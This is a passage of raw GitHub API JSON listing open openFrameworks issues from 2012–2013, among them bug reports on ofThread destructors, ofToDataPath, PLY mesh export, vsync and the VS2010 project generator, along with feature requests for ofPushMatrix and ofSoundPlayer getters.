/home/gabriel/Public/carne\n |-- carne.cbp\n |-- carne.workspace\n |-- config.make\n `-- Makefile\n\n 0 directories, 4 files\n\nThis has been reproduced on Debian GNU/Linux wheezy/sid 64bit and Ubuntu 32bit"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1299","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1299/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1299/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1299/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1299","id":4861832,"number":1299,"title":"projectGenerator VS2010 release mode : no AdditionalIncludeDirectories","user":{"login":"sloopidoopi","id":248498,"avatar_url":"https://secure.gravatar.com/avatar/69d034865cb1f775bb1e0b47ff0580b2?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"69d034865cb1f775bb1e0b47ff0580b2","url":"https://api.github.com/users/sloopidoopi","html_url":"https://github.com/sloopidoopi","followers_url":"https://api.github.com/users/sloopidoopi/followers","following_url":"https://api.github.com/users/sloopidoopi/following","gists_url":"https://api.github.com/users/sloopidoopi/gists{/gist_id}","starred_url":"https://api.github.com/users/sloopidoopi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sloopidoopi/subscriptions","organizations_url":"https://api.github.com/users/sloopidoopi/orgs","repos_url":"https://api.github.com/users/sloopidoopi/repos","events_url":"https://api.github.com/users/sloopidoopi/events{/privacy}","received_events_url":"https://api.github.com/users/sloopidoopi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"}],"state":"open","assignee":{"login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":1,"created_at":"2012-06-01T17:50:14Z","updated_at":"2013-02-11T12:16:04Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"In the projectGenerator.vcxproj the AdditionalIncludeDirectories for the release mode are missing. (I copied the entries from the debug mode for testing and compilaton worked)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1292","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1292/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1292/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1292/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1292","id":4840460,"number":1292,"title":"ofSetVerticalSync(false) no effect, other framerate issues","user":{"login":"ChristophPacher","id":463776,"avatar_url":"https://secure.gravatar.com/avatar/1c1ed6a26b6cb2351d65b3b02677b8d7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"1c1ed6a26b6cb2351d65b3b02677b8d7","url":"https://api.github.com/users/ChristophPacher","html_url":"https://github.com/ChristophPacher","followers_url":"https://api.github.com/users/ChristophPacher/followers","following_url":"https://api.github.com/users/ChristophPacher/following","gists_url":"https://api.github.com/users/ChristophPacher/gists{/gist_id}","starred_url":"https://api.github.com/users/ChristophPacher/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ChristophPacher/subscriptions","organizations_url":"https://api.github.com/users/ChristophPacher/orgs","repos_url":"https://api.github.com/users/ChristophPacher/repos","events_url":"https://api.github.com/users/ChristophPacher/events{/privacy}","received_events_url":"https://api.github.com/users/ChristophPacher/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2012-05-31T16:24:30Z","updated_at":"2012-05-31T17:02:22Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hi,\n\nI am on a Windows 7 x64 Laptop (NV 420m GPU), using VS2010, latest OF trunk, lastest experimental ofxOpenNI trunk, latest OpenNI/nite binaries, OpenCV trunk from March, CUDA 4.1.\n\nWhen running my kinect app i have a hard time to control the FPS aswell as Vsync. Sometimes the app shows 300+ FPS sometimes +60 sometimes 30 when setting ofSetVerticalSync(true) and ofSetFramerate(60) (or using none of the settings), and I experience some slowdowns in the ofxOpenNI thread to 20 FPS when playing an .oni file, that recover back to normal 30 FPS. Sometimes the app runs perfectly with no slow downs but it is pretty much randomly changeing even with just an app restart or system restart. No changes in the Nvidia driver settings seem to directly and repeatetly control the FPS. The ofxOpenCV example is controlable and behaves as one would expect, but its not threaded.\n\nI am puzzeld and I do not know what could be the root of the problem. Any ideas where I could look next? Are there any instructions or patterns i should avoid when interacting with my OpenNI thread that could influence the Opengl thread?\n\nAnyone wanting to test this can reproduce this with running the sample project of gameovers ofxOpenNI called src-ONIRecording-Simple. \n\nThanks\n\nChris"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1279","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1279/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1279/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1279/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1279","id":4767675,"number":1279,"title":"ofShader example with HD Graphics 3000 issue","user":{"login":"subtiv","id":1012684,"avatar_url":"https://secure.gravatar.com/avatar/837cfe96365c031130a46311eb11d86a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"837cfe96365c031130a46311eb11d86a","url":"https://api.github.com/users/subtiv","html_url":"https://github.com/subtiv","followers_url":"https://api.github.com/users/subtiv/followers","following_url":"https://api.github.com/users/subtiv/following","gists_url":"https://api.github.com/users/subtiv/gists{/gist_id}","starred_url":"https://api.github.com/users/subtiv/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/subtiv/subscriptions","organizations_url":"https://api.github.com/users/subtiv/orgs","repos_url":"https://api.github.com/users/subtiv/repos","events_url":"https://api.github.com/users/subtiv/events{/privacy}","received_events_url":"https://api.github.com/users/subtiv/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2012-05-26T19:27:56Z","updated_at":"2012-05-28T08:08:24Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"There occurs a weir glitch when compiling the ofShader example with my HD Graphics 3000 (288 Mb) (Mac osx 10.7.4 - Mac Mini - i5 - 2.3Ghz)\n\nI was able to get rid of the glitch by replacing \"gl_FragColor = gl_Color;\" with \"gl_FragColor = 255.0;\" or any other number.\nAnybody knows a reason for the glitch / proper solution?\n\nScreenshot: http://goo.gl/Xdf74\nOpenGL capacities on different graphic cards on apple machines: http://goo.gl/FGQ2N"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1256","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1256/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1256/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1256/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1256","id":4554058,"number":1256,"title":"Feature ofPushMatrix(const ofMatrix4x4 &)","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":5,"created_at":"2012-05-13T18:20:29Z","updated_at":"2012-05-17T21:42:08Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"if i'm not mistaken, the correct way of using ofMatrix4x4 in oF is `glMultMatrixf(myMatrix.getPtr())` or `glLoadMatrixf`.\nThis seems a bit uncomfortable for me.\n\nsome candidates are:\n\n```c++\nofPushMatrix(const ofMatrix4x4 &); //needs alternatives as you might not want to push at the time\nofLoadMatrix(const ofMatrix4x4 &);\nofMultMatrix(const ofMatrix4x4 &);\n\nofMatrix4x4::apply();\nofMatrix4x4::glLoadMatrix(matrixMode = OF_MATRIX_MODE_CURRENT);\n```\n\n\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1252","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1252/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1252/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1252/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1252","id":4539985,"number":1252,"title":"0071 ply (mesh.save()) Point export is broken","user":{"login":"laserpilot","id":1041023,"avatar_url":"https://secure.gravatar.com/avatar/07001341fe6c156dddd5b9d06d828cba?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"07001341fe6c156dddd5b9d06d828cba","url":"https://api.github.com/users/laserpilot","html_url":"https://github.com/laserpilot","followers_url":"https://api.github.com/users/laserpilot/followers","following_url":"https://api.github.com/users/laserpilot/following","gists_url":"https://api.github.com/users/laserpilot/gists{/gist_id}","starred_url":"https://api.github.com/users/laserpilot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/laserpilot/subscriptions","organizations_url":"https://api.github.com/users/laserpilot/orgs","repos_url":"https://api.github.com/users/laserpilot/repos","events_url":"https://api.github.com/users/laserpilot/events{/privacy}","received_events_url":"https://api.github.com/users/laserpilot/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":6,"created_at":"2012-05-11T19:45:53Z","updated_at":"2013-02-11T12:12:35Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"\tunsigned char faceSize = 3;\n\tif(data.getNumIndices()){\n\t\tos << \"element face \" << data.getNumIndices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t} else if(data.getMode() == OF_PRIMITIVE_TRIANGLES) {\n\t\tos << \"element face \" << data.getNumVertices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t}\n\nThe facesize is being set as static as 3, but this results in strange exports...things open OK in Meshlab, but exporting to other programs with no faces seems like it won't work"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1250","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1250/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1250/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1250/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1250","id":4507492,"number":1250,"title":"bug: ofToDataPath broken again","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":9,"created_at":"2012-05-10T06:35:24Z","updated_at":"2013-02-11T12:16:04Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":":(\r\n\r\nIt seems i'm getting double 'data/' in my paths\r\nafter a little tracking down, i found this is because ofSystemLoadDialog changes the current working directory\r\n\r\nso we could try and either fix that by popping the folder after the dialog, \r\nof for windows using something like ```GetModuleFileName``` to get the path of the current exe rather than using the current working directory\r\n\r\nI can't seem to run GetModuleFileName from ofUtils.cpp even though windows.h is included in ofConstants.h (included in ofUtils.h)\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1239","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1239/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1239/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1239/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1239","id":4406584,"number":1239,"title":"Fix ofThread destructor behaviour","user":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":31,"created_at":"2012-05-03T14:54:46Z","updated_at":"2013-02-11T12:16:04Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1239","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1239.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1239.patch"},"body":"The way ofThread's destructor worked was causing cleanup code at the end of threadedFunction to be skipped, sometimes leaving shared resources in an unusable state. This patch makes sure that the ofThread destructor waits until the thread has properly exited. \r\n\r\nIMO this patch is critical, but it should be treated with caution, as this has the possibility to cause deadlocks in code with multiple threads where the cleanup order is not clearly defined."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1236","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1236/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1236/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1236/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1236","id":4384548,"number":1236,"title":"init openframeworks before constructor of testapp is called?","user":{"login":"peteruithoven","id":523210,"avatar_url":"https://secure.gravatar.com/avatar/f39b1485b28be1dc2b98f269235218bc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"f39b1485b28be1dc2b98f269235218bc","url":"https://api.github.com/users/peteruithoven","html_url":"https://github.com/peteruithoven","followers_url":"https://api.github.com/users/peteruithoven/followers","following_url":"https://api.github.com/users/peteruithoven/following","gists_url":"https://api.github.com/users/peteruithoven/gists{/gist_id}","starred_url":"https://api.github.com/users/peteruithoven/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/peteruithoven/subscriptions","organizations_url":"https://api.github.com/users/peteruithoven/orgs","repos_url":"https://api.github.com/users/peteruithoven/repos","events_url":"https://api.github.com/users/peteruithoven/events{/privacy}","received_events_url":"https://api.github.com/users/peteruithoven/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"milestone":null,"comments":3,"created_at":"2012-05-02T13:24:49Z","updated_at":"2012-05-16T09:42:24Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I was trying to load a file in a subclass. I'm used to doing that in a constructor, but after an hour of debugging I found out that I can only do this if I make some kind of setup function. Because otherwise it's called before openframeworks is initialized. \r\n\r\nWhy not initialize openframeworks before ofRunApp or in the constructor ofBaseApp? \r\n\r\nTo reproduce put the following code in a constructor of a class and in a setup function that you call from the testapp setup. \r\nofFile f(\"DroidSans.ttf\");\r\ncout << f.getAbsolutePath() << endl;\r\n\r\nDifference is that when you load a file from the constructor the absolute url becomes:\r\n/Developer/openFrameworks/007/apps/data/DroidSans.ttf\r\nFrom a setup function that I call in the setup function of TestApp:\r\n/Developer/openFrameworks/007/apps/experiments/FindingFont2/bin/data/DroidSans.ttf"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1235","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1235/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1235/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1235/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1235","id":4383465,"number":1235,"title":"no get methods for ofSoundPlayer","user":{"login":"chrisoshea","id":104786,"avatar_url":"https://secure.gravatar.com/avatar/62d775b0fa28bcde2d9d29405d059be3?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"62d775b0fa28bcde2d9d29405d059be3","url":"https://api.github.com/users/chrisoshea","html_url":"https://github.com/chrisoshea","followers_url":"https://api.github.com/users/chrisoshea/followers","following_url":"https://api.github.com/users/chrisoshea/following","gists_url":"https://api.github.com/users/chrisoshea/gists{/gist_id}","starred_url":"https://api.github.com/users/chrisoshea/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/chrisoshea/subscriptions","organizations_url":"https://api.github.com/users/chrisoshea/orgs","repos_url":"https://api.github.com/users/chrisoshea/repos","events_url":"https://api.github.com/users/chrisoshea/events{/privacy}","received_events_url":"https://api.github.com/users/chrisoshea/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2012-05-02T12:06:15Z","updated_at":"2012-05-02T12:51:38Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Right now (007), how do you get a volume of a sample? a float sample.volume?\r\n\r\nhttp://www.openframeworks.cc/documentation/sound/ofSoundPlayer.html#volume\r\n\r\nBut if you look at ofSoundPlayer or ofBaseSoundPlayer there is no variable volume, or length, or pan, or speed. This brings up a compile error in Xcode saying:\r\n\r\nNo member named 'volume' in 'ofSoundPlayer'\r\n\r\nSo here are the variables:\r\n\r\nbool bLoop\r\nbool bLoadedOk\r\nbool bPaused\r\nfloat pan\r\nfloat volume\r\nfloat speed\r\nunsigned int length\r\n\r\nHere are the set methods:\r\n\r\nsetVolume(...)\r\nsetPan(...)\r\nsetSpeed(...)\r\nsetPaused(...)\r\nsetLoop(...)\r\nsetMultiPlay(...)\r\nsetPosition(...)\r\n\r\nHere are the gets:\r\n\r\ngetPosition()\r\ngetIsPlaying()\r\ngetSpeed()\r\ngetPan()\r\nsetPlayer(...)\r\ngetPlayer()\r\nsetPositionMS(...)\r\ngetPositionMS()\r\n\r\nWhat is missing?\r\n\r\ngetVolume()\r\ngetPaused()\r\ngetLoop()\r\n\r\nOr has this already been 